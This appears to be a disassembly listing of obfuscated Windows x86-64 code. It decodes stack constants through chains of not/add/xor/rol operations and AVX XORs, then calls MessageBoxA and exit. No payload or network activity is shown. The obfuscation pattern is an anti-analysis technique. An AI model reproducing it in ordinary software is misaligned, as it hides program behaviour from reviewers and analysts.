xor rax, 0x4746bcde
rol rax, 0xa3
popf
mov qword [rbp + 0x6c8], rax
movabs rax, 0xe9fb2c965835e508
pushf
not rax
add rax, 0x697a32dc
xor rax, 0x4be6fb8b
rol rax, 0x5e
popf
pushf
not rax
add rax, 0x6928b877
xor rax, 0x5ad849d1
rol rax, 0xea
popf
pushf
not rax
add rax, 0x450cf64e
xor rax, 0x75ec1760
rol rax, 0xc0
popf
pushf
not rax
add rax, 0x7978f47b
xor rax, 0x43fc0e93
rol rax, 0xa3
popf
mov qword [rbp + 0x6d0], rax
movabs rax, 0x9062a5c16eba78b2
pushf
not rax
add rax, 0x647939c9
xor rax, 0x7514cc8a
rol rax, 0x6d
popf
pushf
not rax
add rax, 0x44ca3486
xor rax, 0x642f64fa
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x73108c02
xor rax, 0x7a67adc0
rol rax, 0x40
popf
mov qword [rbp + 0x6d8], rax
movabs rax, 0x266cfa6da18416ed
pushf
not rax
add rax, 0x4d62984f
xor rax, 0x6d460381
rol rax, 0x85
popf
pushf
not rax
add rax, 0x41658cdd
xor rax, 0x5554cd77
rol rax, 0x4f
popf
mov qword [rbp + 0x6e0], rax
movabs rax, 0xf13f6297285ef965
pushf
not rax
add rax, 0x575a43b7
xor rax, 0x746c7d5a
rol rax, 0xe1
popf
pushf
not rax
add rax, 0x6671662b
xor rax, 0x70e8a36d
rol rax, 0x24
popf
pushf
not rax
add rax, 0x5657a58f
xor rax, 0x53764b4c
rol rax, 0x68
popf
pushf
not rax
add rax, 0x7afcf2d4
xor rax, 0x441200be
rol rax, 0xc
popf
mov qword [rbp + 0x6e8], rax
movabs rax, 0x136b5a40530c1771
pushf
not rax
add rax, 0x59f9be6f
xor rax, 0x4189a468
rol rax, 0xc5
popf
pushf
not rax
add rax, 0x74228ee2
xor rax, 0x6574c52b
rol rax, 0x59
popf
pushf
not rax
add rax, 0x45986372
xor rax, 0x42f26dca
rol rax, 0x7f
popf
mov qword [rbp + 0x6f0], rax
movabs rdx, 0x29ccd3124a13e36b
pushf
not rdx
add rdx, 0x6bd72893
xor rdx, 0x46bbbbd4
rol rdx, 0xce
popf
pushf
not rdx
add rdx, 0x5e78ee17
xor rdx, 0x7a6fccc5
rol rdx, 0x57
popf
pushf
not rdx
add rdx, 0x69ec51f7
xor rdx, 0x686e2dae
rol rdx, 0x92
popf
mov qword [rbp + 0x6f8], rdx
mov qword [rbp + 0x720], r14
mov qword [rbp + 0x728], rsi
movabs rax, 0x6d14c1f483b5ba73
pushf
not rax
add rax, 0x7c7df0ab
xor rax, 0x4566cd78
rol rax, 0x23
popf
pushf
not rax
add rax, 0x63a525a4
xor rax, 0x50682242
rol rax, 0x47
popf
mov qword [rbp + 0x730], rax
movabs rax, 0x52d6517424232d28
pushf
not rax
add rax, 0x57187c76
xor rax, 0x7ad2ef4a
rol rax, 0x7a
popf
pushf
not rax
add rax, 0x63a23fed
xor rax, 0x69317e1c
rol rax, 0x70
popf
pushf
not rax
add rax, 0x51ad6575
xor rax, 0x73a83320
rol rax, 0x76
popf
mov qword [rbp + 0x738], rax
movabs rax, 0xbb3a1cd99473ebd1
pushf
not rax
add rax, 0x5c28e217
xor rax, 0x4d29f7af
rol rax, 0xa3
popf
pushf
not rax
add rax, 0x7d453ef2
xor rax, 0x68e3c70c
rol rax, 0x6a
popf
pushf
not rax
add rax, 0x75351090
xor rax, 0x57ab83ab
rol rax, 0
popf
mov qword [rbp + 0x740], rax
movabs rax, 0x26758152698caf1a
pushf
not rax
add rax, 0x4b623795
xor rax, 0x451df08c
rol rax, 0x7f
popf
pushf
not rax
add rax, 0x728e8a9a
xor rax, 0x64f9e3ba
rol rax, 0x58
popf
mov qword [rbp + 0x748], rax
movabs rax, 0x8957ad94ab0cc60b
pushf
not rax
add rax, 0x4cc2b3b9
xor rax, 0x4a15e955
rol rax, 0x3c
popf
pushf
not rax
add rax, 0x4ecf4397
xor rax, 0x53cead75
rol rax, 0xb5
popf
pushf
not rax
add rax, 0x5d713fe7
xor rax, 0x472125c1
rol rax, 0xfb
popf
mov qword [rbp + 0x750], rax
movabs rax, 0xbff9e06f13c1b40a
pushf
not rax
add rax, 0x656800c0
xor rax, 0x7bfe20a0
rol rax, 0xaf
popf
pushf
not rax
add rax, 0x6bbab729
xor rax, 0x55b7288f
rol rax, 0x46
popf
mov qword [rbp + 0x758], rax
movabs rax, 0x70663a9e8c265c5a
pushf
not rax
add rax, 0x52ce210b
xor rax, 0x78c94704
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x7873e4e0
xor rax, 0x520c49d8
rol rax, 0x28
popf
pushf
not rax
add rax, 0x6b04b916
xor rax, 0x4cc9a10d
rol rax, 0x82
popf
pushf
not rax
add rax, 0x4c35f986
xor rax, 0x5b3ce201
rol rax, 0xaa
popf
mov qword [rbp + 0x760], rax
movabs rcx, 0x62948785ade51c29
pushf
not rcx
add rcx, 0x6a696361
xor rcx, 0x76443d07
rol rcx, 9
popf
pushf
not rcx
add rcx, 0x44a530b1
xor rcx, 0x756f4b8b
rol rcx, 0x46
popf
pushf
not rcx
add rcx, 0x64a92747
xor rcx, 0x788db881
rol rcx, 0xf1
popf
pushf
not rcx
add rcx, 0x492c9b6d
xor rcx, 0x6f3f275a
rol rcx, 0xe2
popf
mov qword [rbp + 0x768], rcx
movabs rax, 0x80b1133e3991e4b9
pushf
not rax
add rax, 0x772e8016
xor rax, 0x6f25e575
rol rax, 4
popf
pushf
not rax
add rax, 0x53187749
xor rax, 0x7178c589
rol rax, 0xd1
popf
pushf
not rax
add rax, 0x59a8a236
xor rax, 0x7318f8b7
rol rax, 0x66
popf
mov qword [rbp + 0x770], rax
mov qword [rbp + 0x778], rdx
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x6a0]
vmovdqa ymmword [rbp + 0x6a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x740]
vmovdqa ymmword [rbp + 0x6c0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x760]
vmovdqa ymmword [rbp + 0x6e0], ymm1
mov r9d, 0xcce2b0e1
pushf
not r9d
add r9d, 0x839aebde
xor r9d, 0xf1601aea
rol r9d, 0x63
popf
pushf
not r9d
add r9d, 0x9874b77b
xor r9d, 0xd93e7636
rol r9d, 0xf2
popf
pushf
not r9d
add r9d, 0xe529c222
xor r9d, 0xefe1cfba
rol r9d, 0x2f
popf
pushf
not r9d
add r9d, 0xd3db9292
xor r9d, 0x9bb38f2a
rol r9d, 0xfa
popf
lea r8, [rbp + 0x690]
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
vzeroupper
jmp 0x14007c291
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
jmp 0x14007c29a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3